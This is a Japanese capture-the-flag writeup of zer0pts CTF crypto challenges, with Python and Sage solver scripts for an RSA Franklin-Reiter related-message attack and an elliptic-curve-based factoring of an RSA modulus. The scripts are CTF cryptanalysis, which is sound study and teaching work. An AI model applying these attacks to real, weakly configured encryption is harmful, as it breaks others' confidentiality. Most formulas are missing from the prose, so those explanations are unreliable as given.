# solver.py from pwn import * from Crypto.Util.number import long_to_bytes from base64 import b64decode from Crypto.Cipher import AES io = remote('127.0.0.1', 4000) cipher = io.recvline()[:-1].decode().split(': ')[1] p = int(io.recvline()[:-1].decode().split(' = ')[1]) io.recvline() _key = '' while True: # keyをビットシフトしていき、最終的に0になるとrecvlineが正常に動作しないので # それをwhile文を抜ける条件としています。 try: t = int(io.recvline()[:-1].decode().split(' = ')[1]) except EOFError: break # ここは同じ。最後のelseまで省略 a, b, c, d = [2, 4, p-1, 3] ... else: print('coding error') key1, key2 = 2, 2 break _key = str(key2) + str(key1) + _key # デバッグ用。結構時間かかるのでkeyの復元の様子を表示 print(hex(int(_key, 2))) io.close() # AES-CBCで復元 _key = long_to_bytes(int(_key, 2)) c = b64decode(cipher) iv, c = c[:16], c[16:] aes = AES.new(key=_key, mode=AES.MODE_CBC, iv=iv) m = aes.decrypt(c) print(m)
感想ですが、絶対に想定解ではないでしょう。
だってとか
使ってないですからね…
アプローチ3
(これはrkm0959氏のwriteupを引用しています。自分が考えた方法ではありません。)
まず、 mod
になるまで粘ります。
getStrongPrimeはが大きな素因数を持つことを「Strong Prime」と定義しているのであって、
が素数になるいわゆる「安全素数」の生成ではありません。なので、
mod
は簡単に達成できます。
さて、が得られたら、ランダムな数
を自分で選んで
mod
とします。ただしはいずれもmod
で1にならないとします。
この計算も高々1/2の確率くらいで達成可能です3。このは、Fermatの小定理から
mod
です。では、としてみましょう。
mod
mod
mod
mod
キーワードは mod
です。上をさらに変形すると
mod
mod
mod
mod
これで解けます。こちらもは使いませんね。コーディング的にもこちらがずっとシンプルです。お見事。
jankenの問題もあとで記事にします。
zer0pts CTF writeup
はじめに
zer0pts CTFにKUDoSというチームで参加して、951チーム中23位でした。
チーム全体では1633ptで、自分はcryptoの4問を解いて570pt入れました。
今年度初めて得点を入れた(というか本格的に何時間も割いた)CTFです。
zer0ptsのチームメンバーもTwitterで何人か把握1していて、その方々が開催するとなれば参加必至です。
本当に久々に参加したので実力が落ちているか心配でした2が、それ以上に解けた時の快感を思い出しました。
シンプルかつ解きごたえのある問題ばかりで、土日を溶かしてよかったと思います。この場を借りて問題、サーバ提供に感謝します。
いつか勝ちます。
自分のwriteupのスタイルとして、いきなり答えに直結するものだけでなく色々試行錯誤した跡も残すので、結構冗長です。すみません。
war(sa)mup (crypto, 102pt, 95solves)
from Crypto.Util.number import getStrongPrime, GCD from random import randint from flag import flag import os def pad(m: int, n: int): # PKCS#1 v1.5 maybe ms = m.to_bytes((m.bit_length() + 7) // 8, "big") ns = n.to_bytes((n.bit_length() + 7) // 8, "big") assert len(ms) <= len(ns) - 11 ps = b"" while len(ps) < len(ns) - len(ms) - 3: p = os.urandom(1) if p != b"\x00": ps += p return int.from_bytes(b"\x00\x02" + ps + b"\x00" + ms, "big") while True: p = getStrongPrime(512) q = getStrongPrime(512) n = p * q phi = (p-1)*(q-1) e = 1337 if GCD(phi, e) == 1: break m = pad(int.from_bytes(flag, "big"), n) c1 = pow(m, e, n) c2 = pow(m // 2, e, n) print("n =", n) print("e =", e) print("c1=", c1) print("c2=", c2) # n = 113135121314210337963205879392132245927891839184264376753001919135175107917692925687745642532400388405294058068119159052072165971868084999879938794441059047830758789602416617241611903275905693635535414333219575299357763227902178212895661490423647330568988131820052060534245914478223222846644042189866538583089 # e = 1337 # c1= 89077537464844217317838714274752275745737299140754457809311043026310485657525465380612019060271624958745477080123105341040804682893638929826256518881725504468857309066477953222053834586118046524148078925441309323863670353080908506037906892365564379678072687516738199061826782744188465569562164042809701387515 # c2= 18316499600532548540200088385321489533551929653850367414045951501351666430044325649693237350325761799191454032916563398349042002392547617043109953849020374952672554986583214658990393359680155263435896743098100256476711085394564818470798155739552647869415576747325109152123993105242982918456613831667423815762
要約すると
flagを
m=b'\x00\x02' + ('\x00'を含まないrandom) + b'\x00' + flagの形にパディング。mの長さは128 byte公開鍵を
, 秘密鍵を
とするRSA暗号に対し、
に対応する暗号文
mod
mod
大文字で示したは既知で、
は未知です。
1番目は実は関係なくて、さえ分かればパディングは簡単に外せます。なので実質2番目だけです。
アプローチ1
割と典型的な問題ですが、まずはじめに、RSA暗号には乗法準同型性があります。簡単に言うと、
「に対応する暗号文
がわかれば、
を知らなくとも
に対応する暗号文
を作成可能」
です。もちろんじゃなく何倍でもOKです。
これで終わりです。と公開鍵
だけで計算可能です。
さて、これがどう生きるかというと、一般にCTFのflagはzer0pts{hoge}のように、最後の1文字が}、ASCIIコード表でいう\x7c=125であることが多いため、高確率では奇数であることが分かります。
不安な人のために、が偶数である場合に矛盾することを示しておきます3。
が偶数なら、
は整数になるのでGauss記号は不要で、
mod
つまり、に
mod
を乗算すると
になるはずです。
# odd_or_even.py N = 113135121314210337963205879392132245927891839184264376753001919135175107917692925687745642532400388405294058068119159052072165971868084999879938794441059047830758789602416617241611903275905693635535414333219575299357763227902178212895661490423647330568988131820052060534245914478223222846644042189866538583089 E = 1337 C1= 89077537464844217317838714274752275745737299140754457809311043026310485657525465380612019060271624958745477080123105341040804682893638929826256518881725504468857309066477953222053834586118046524148078925441309323863670353080908506037906892365564379678072687516738199061826782744188465569562164042809701387515 C2= 18316499600532548540200088385321489533551929653850367414045951501351666430044325649693237350325761799191454032916563398349042002392547617043109953849020374952672554986583214658990393359680155263435896743098100256476711085394564818470798155739552647869415576747325109152123993105242982918456613831667423815762 if C2 * pow(2, E, N) % N == C1: print('m is even') else: print('m is odd')
結果は自分でご確認ください(当然奇数です)。
本題に戻ります。が奇数なので、
です。これは
など適当な奇数を代入したらわかると思います。
そのため、先ほどと同様にに
mod
を乗算すると(これを
とします)
mod
です。つまり、に対する暗号文が計算できるわけです。
ここからは、RSA暗号に対するだいたいの攻撃方法が載っているRSA暗号運用でやってはいけない n のことを参照します。
その11「上位ビットが共通する二つの平文に対する 暗号文を知られてはいけない」がもろ該当します。
Franklin-Reiter Related Message Attackが適用可能
二つの平文
と、それぞれの暗号文が得られるとき、
を導出可能
今回はですね。
アプローチ0(脱線)
さて、ここまでは似たような問題もちらほらあり、Coppersmith(上記その14参照)とかそのあたりを使うんだろうと思い、"coppersmith's attack"で検索しました(まずこの時点で雲行きが怪しい)。
すると、ももいろテクノロジーの記事がヒット。
下にスクロールすると、「Coppersmith’s Short Pad Attack & Franklin-Reiter Related Message Attack」の文字が。Franklin Reiterの文字もあります。
実は過去にこのCoppersmith + Franklin Reiterのコードをそのまま適用することで解ける問題があった4ので、今回もコピペでいけると思っていました。
ここで定義されている2関数short_pad_attack, related_message_attackを拝借します。
print まわりがPython2仕様になっているので少し修正してあります。
# cannot_solve.sage def short_pad_attack(c1, c2, e, n): PRxy.<x,y> = PolynomialRing(Zmod(n)) PRx.<xn> = PolynomialRing(Zmod(n)) PRZZ.<xz,yz> = PolynomialRing(Zmod(n)) g1 = x^e - c1 g2 = (x+y)^e - c2 q1 = g1.change_ring(PRZZ) q2 = g2.change_ring(PRZZ) h = q2.resultant(q1) h = h.univariate_polynomial() h = h.change_ring(PRx).subs(y=xn) h = h.monic() kbits = n.nbits()//(2*e*e) diff = h.small_roots(X=2^kbits, beta=0.5)[0] # find root < 2^kbits with factor >= n^0.5 return diff def related_message_attack(c1, c2, diff, e, n): PRx.<x> = PolynomialRing(Zmod(n)) g1 = x^e - c1 g2 = (x+diff)^e - c2 def gcd(g1, g2): while g2: g1, g2 = g2, g1 % g2 return g1.monic() return -gcd(g1, g2)[0] N = 113135121314210337963205879392132245927891839184264376753001919135175107917692925687745642532400388405294058068119159052072165971868084999879938794441059047830758789602416617241611903275905693635535414333219575299357763227902178212895661490423647330568988131820052060534245914478223222846644042189866538583089 E = 1337 C1= 89077537464844217317838714274752275745737299140754457809311043026310485657525465380612019060271624958745477080123105341040804682893638929826256518881725504468857309066477953222053834586118046524148078925441309323863670353080908506037906892365564379678072687516738199061826782744188465569562164042809701387515 C2= 18316499600532548540200088385321489533551929653850367414045951501351666430044325649693237350325761799191454032916563398349042002392547617043109953849020374952672554986583214658990393359680155263435896743098100256476711085394564818470798155739552647869415576747325109152123993105242982918456613831667423815762 C3 = (pow(2, E, N) * C2) % N diff = short_pad_attack(C1, C3, E, N) print("difference of two messages is %d" % diff) m1 = related_message_attack(C1, C3, diff, E, N) print(m1)
…全然終わらない。を逆にしたりしてみましたが全く終わりません。
原因は記事内のこの部分です。
二つの暗号文について平文の上位bitが
のbit数の
程度共通する場合、これらからそれぞれの平文を求めることができる。
本問題はです。ざっくり1000と見積もっても、100万bitのうち999999bitは共通しているくらいの精度が必要です。
しかし、今回は128byte(=1024bit)なので、
の誤差は上に比べたらめちゃくちゃ大きいです。
この方法は(記事内の例でもわかる通り)くらいじゃないと厳しいです。
今回の教訓ですが、
(本問の
のように)
の関係性が分かっている場合はFranklin Reiter (精度は
程度)
(記事にあるように)
アプローチ1(再開)
脱線終わりです。あらためて、'franklin reiter'でググってみます5。こちらのブログがヒット。
この2関数gcd, franklinreiterを拝借します。
# solver.sage def gcd(a, b): while b: a, b = b, a % b return a.monic() def franklinreiter(c_1, c_2, e_1, e_2, N, a, b): P.<X> = PolynomialRing(Zmod(N)) g_1 = X^e_1 - c_1 g_2 = (a*X + b)^e_2 - c_2 # get constant term result = -gcd(g_1, g_2).coefficients()[0] return result N = 113135121314210337963205879392132245927891839184264376753001919135175107917692925687745642532400388405294058068119159052072165971868084999879938794441059047830758789602416617241611903275905693635535414333219575299357763227902178212895661490423647330568988131820052060534245914478223222846644042189866538583089 E = 1337 C1= 89077537464844217317838714274752275745737299140754457809311043026310485657525465380612019060271624958745477080123105341040804682893638929826256518881725504468857309066477953222053834586118046524148078925441309323863670353080908506037906892365564379678072687516738199061826782744188465569562164042809701387515 C2= 18316499600532548540200088385321489533551929653850367414045951501351666430044325649693237350325761799191454032916563398349042002392547617043109953849020374952672554986583214658990393359680155263435896743098100256476711085394564818470798155739552647869415576747325109152123993105242982918456613831667423815762 C3 = (pow(2, E, N) * C2) % N flag = franklinreiter(C1, C3, E, E, N, 1, -1) print(int(flag).to_bytes((int(flag).bit_length() + 7) // 8, "big"))
franklinreiterの引数について少し補足しておきます。本問ではの暗号化に両方
を使っていましたが、Franklin Reiterは
の関係性(つまり
)さえ分かれば
と異なるを使っていても問題ありません。
NOT Mordell primes (crypto, 209pt, 19solves)
I found one integral point on an elliptic curve, so there's finite number of integral solutions.
This means You can pick from an finite number of primes... right?
special thanks: https://ctf.cr0wn.uk/challenges#Mordell%20primes-11
from Crypto.Util.number import bytes_to_long from secrets import k, FLAG p = 13046889097521646369087469608188552207167764240347195472002158820809408567610092324592843361428437763328630003678802379234688335664907752858268976392979073 a = 10043619664651911066883029686766120169131919507076163314397915307085965058341170072938120477911396027902856306859830431800181085603701181775623189478719241 b = 12964455266041997431902182249246681423017590093048617091076729201020090112909200442573801636087298080179764338147888667898243288442212586190171993932442177 E = EllipticCurve(GF(p),[a,b]) P = E(11283606203023552880751516189906896934892241360923251780689387054183187410315259518723242477593131979010442607035913952477781391707487688691661703618439980, 12748862750577419812619234165922125135009793011470953429653398381275403229335519006908182956425430354120606424111151410237675942385465833703061487938776991) Q = k*P R = (k+1)*P p = int(Q[0]) q = int(R[0]) assert is_prime(p) assert is_prime(q) e = 0x10001 N = p*q m = bytes_to_long(FLAG) c = pow(m,e,N) print(f'N = {N}') print(f'c = {c}') # N = 22607234899418506929126001268361871457071114354768385952661316782742548112938224795906631400222949082488044126564531809419277303594848211922000498018284382244900831520857366772119155202621331079644609558409672584261968029536525583401488106146231216232578818115404806474812984250682928141729397248414221861387 # c = 15850849981973267982600456876579257471708532525108633915715902825196241000151529259632177065183069032967782114646012018721535909022877307131272587379284451827627191021621449090672315265556221217089055578013603281682705976215360078119427612168005716370941190233189775697324558168779779919848728188151630185987
要約すると
です。大文字で示したおよび
は6既知で、
は未知です。
アプローチ1
RSA暗号を破るには、基本的に秘密鍵を計算しないと話にならないので、どうにかしてあたりを求めることになります。
最初の方針はいたって簡単です。が小さいことに賭けて総当たりします。
# approach1.sage p = 13046889097521646369087469608188552207167764240347195472002158820809408567610092324592843361428437763328630003678802379234688335664907752858268976392979073 A = 10043619664651911066883029686766120169131919507076163314397915307085965058341170072938120477911396027902856306859830431800181085603701181775623189478719241 B = 12964455266041997431902182249246681423017590093048617091076729201020090112909200442573801636087298080179764338147888667898243288442212586190171993932442177 E = EllipticCurve(GF(p),[A,B]) X0 = 11283606203023552880751516189906896934892241360923251780689387054183187410315259518723242477593131979010442607035913952477781391707487688691661703618439980 Y0 = 12748862750577419812619234165922125135009793011470953429653398381275403229335519006908182956425430354120606424111151410237675942385465833703061487938776991 P = E(X0, Y0) for i in range(50000): x1 = int((i*P)[0]) x2 = int(((i+1)*P)[0]) if is_prime(x1) and is_prime(x2): print(i)
これで50000以下でで見つかれば…
まあ見つからないんですけどね。基本的にbrute-forceでうまくいく問題はそうありません。
アプローチ2
問題文のspecial thanksが気になります。何かしらのインスピレーションを受けた問題であるので、オリジナルの問題を見てみます。
サーバにはアクセスできなかったので、"mordell primes ctf"などでググってwriteupを検索すると、rkm0959氏の記事がヒット7。
オリジナルでは
mod
を大きくすればするほど爆発的に
をオーバーしてしまう
なので、brute-forceで
という方針です。
…うーん、アプローチ1で総当たりは試しているのでこれも参考にはならなさそうです。
オリジナルの問題の解法が使えたら、わざわざspecial thanksなんて書きませんからね。
アプローチ3
一般に楕円曲線の離散対数問題は解けないですが、楕円曲線の位数が小さい素数の積で表せる場合、Pohlig-Hellman attackが可能です。(類題: picoCTF 2017 ECC2)
# approach3.sage p = 13046889097521646369087469608188552207167764240347195472002158820809408567610092324592843361428437763328630003678802379234688335664907752858268976392979073 A = 10043619664651911066883029686766120169131919507076163314397915307085965058341170072938120477911396027902856306859830431800181085603701181775623189478719241 B = 12964455266041997431902182249246681423017590093048617091076729201020090112909200442573801636087298080179764338147888667898243288442212586190171993932442177 E = EllipticCurve(GF(p),[A,B]) print(E.order()) # 13046889097521646369087469608188552207167764240347195472002158820809408567609977087077882412569118765147021946659023117215407788432751798068268647045531505
結構時間がかかります。Sage Math Cellだと多分タイムアウトします。
さて、これを素因数分解するわけですが、msieveを使ってもfactordbを使ってもいい結果は得られません。
150桁くらいの合成数が残ってしまうので、この方法も失敗です。
アプローチ4
最初の要約のところに
とする。
とあります。ということは、に依存関係があります。
が成立します。これとを連立する方針でいきます。
以下、式変形が続きます。当然ですが、です。
まず分数を除去します。
...(＊)
しかし、このままだとが残っているので、なんとかして
の項を作ろうと式変形しています。
イメージとしては、
に対して としてから2乗してルートを消す感覚です。
お疲れ様でした。これでだけの多項式で、係数は全て既知の状態になりました。
これをSageに解いてもらいましょう。
# approach4.sage p = 13046889097521646369087469608188552207167764240347195472002158820809408567610092324592843361428437763328630003678802379234688335664907752858268976392979073 A = 10043619664651911066883029686766120169131919507076163314397915307085965058341170072938120477911396027902856306859830431800181085603701181775623189478719241 B = 12964455266041997431902182249246681423017590093048617091076729201020090112909200442573801636087298080179764338147888667898243288442212586190171993932442177 E = EllipticCurve(GF(p),[A,B]) X0 = 11283606203023552880751516189906896934892241360923251780689387054183187410315259518723242477593131979010442607035913952477781391707487688691661703618439980 Y0 = 12748862750577419812619234165922125135009793011470953429653398381275403229335519006908182956425430354120606424111151410237675942385465833703061487938776991 P = E(X0, Y0) N = 22607234899418506929126001268361871457071114354768385952661316782742548112938224795906631400222949082488044126564531809419277303594848211922000498018284382244900831520857366772119155202621331079644609558409672584261968029536525583401488106146231216232578818115404806474812984250682928141729397248414221861387 # xがx_1に相当します x = PolynomialRing(GF(p), 'x').gen() f = (x*(x**3+A*x+B+Y0**2)-((x-X0)**2)*(x**2+x*X0+N))**2 - 4*(x**2)*(Y0**2)*(x**3+A*x+B) ans = f.roots() print(ans) # [(5266647903652352665309561331835186152327627163271331811555419978564191000470060566535428497675116887002541568904535904345037425011015457585262022604897451, 1), (4292528248136861387890911319917455946841411872473250675409509735620572311636407361858881556677385609500178629430025710517411214702704597103005396234440737, 1), (11283606203023552880751516189906896934892241360923251780689387054183187410315259518723242477593131979010442607035913952477781391707487688691661703618439980, 2)]
print(f)みたいなことをしたらわかりますが、上記はの6次式ですがいとも簡単に解いてくれます。コンピュータさまさまです9。
ちなみに、(5266...7451, 1)のようになっていますが、この1の部分は解の重複度です。最後の1128...9980は2重解ということです10。
これでの候補が見つかりました。
あとは /
が割り切れれば確定です。
以上をもとに、ソルバは次のようになります。
# solver.sage # 与えられたパラメータ p = 13046889097521646369087469608188552207167764240347195472002158820809408567610092324592843361428437763328630003678802379234688335664907752858268976392979073 A = 10043619664651911066883029686766120169131919507076163314397915307085965058341170072938120477911396027902856306859830431800181085603701181775623189478719241 B = 12964455266041997431902182249246681423017590093048617091076729201020090112909200442573801636087298080179764338147888667898243288442212586190171993932442177 E = EllipticCurve(GF(p),[A,B]) X0 = 11283606203023552880751516189906896934892241360923251780689387054183187410315259518723242477593131979010442607035913952477781391707487688691661703618439980 Y0 = 12748862750577419812619234165922125135009793011470953429653398381275403229335519006908182956425430354120606424111151410237675942385465833703061487938776991 P = E(X0, Y0) N = 22607234899418506929126001268361871457071114354768385952661316782742548112938224795906631400222949082488044126564531809419277303594848211922000498018284382244900831520857366772119155202621331079644609558409672584261968029536525583401488106146231216232578818115404806474812984250682928141729397248414221861387 E = 0x10001 C = 15850849981973267982600456876579257471708532525108633915715902825196241000151529259632177065183069032967782114646012018721535909022877307131272587379284451827627191021621449090672315265556221217089055578013603281682705976215360078119427612168005716370941190233189775697324558168779779919848728188151630185987 # 多項式ソルバ x = PolynomialRing(GF(p), 'x').gen() f = (x*(x**3+A*x+B+Y0**2)-((x-X0)**2)*(x**2+x*X0+N))**2 - 4*(x**2)*(Y0**2)*(x**3+A*x+B) ans = f.roots() # x_1の特定 for c in ans: if N % int(c[0]) == 0: x1 = int(c[0]) break # RSA解読部分 import codecs x2 = N // x1 phi = (x1-1)*(x2-1) d = pow(E, -1, phi) m = pow(C, d, N) print(codecs.decode(('%x' % m), 'hex_codec'))
感想ですが、コーディングで2乗と2倍を間違えたりしていて、式変形はあっているのかやなど答えが分かっている状態でちゃんと動作するのかなどのデバッグに手間取りました。
上でも記しているように、の6次式(デバッグ段階では8次式になったりしていた)を解かせることになるので、まさかこのアプローチでうまくいくと思っていませんでした。何事もやってみるのが良しです。
あとで他の問題もwriteupを作成します。→ こちら
-
ありがたいことに相互FFの方もいます。↩
-
最低限貢献はしたものの、間違いなく落ちています。ちゃんと復習します。↩
-
この記事を読んでいる人でそんな心配性の方はいないと思いますが…↩
-
出典忘れました。すみません。↩
-
ちなみに、上記のももいろテクノロジーの記事内のコードもほぼ同じ内容ですが、
で
の場合に限定しています。自分の後学のため、一般化している別の記事を取り上げます。↩
-
-
余談ですが、rkm0959氏はcryptoのエキスパートです。よくwriteupの参考にしています。↩
-
厳密にはWikipediaに載っているのは
の計算ですが、-1倍しても
座標の正負が入れ替わるだけなので今回は関係ありません。↩
-
記事では冷静に書いてますが、当時めちゃくちゃガッツポーズしてました。↩
-
この1128…9980という値、実は
そのものです。(＊)で
が重解を持つのは明らかですね。↩
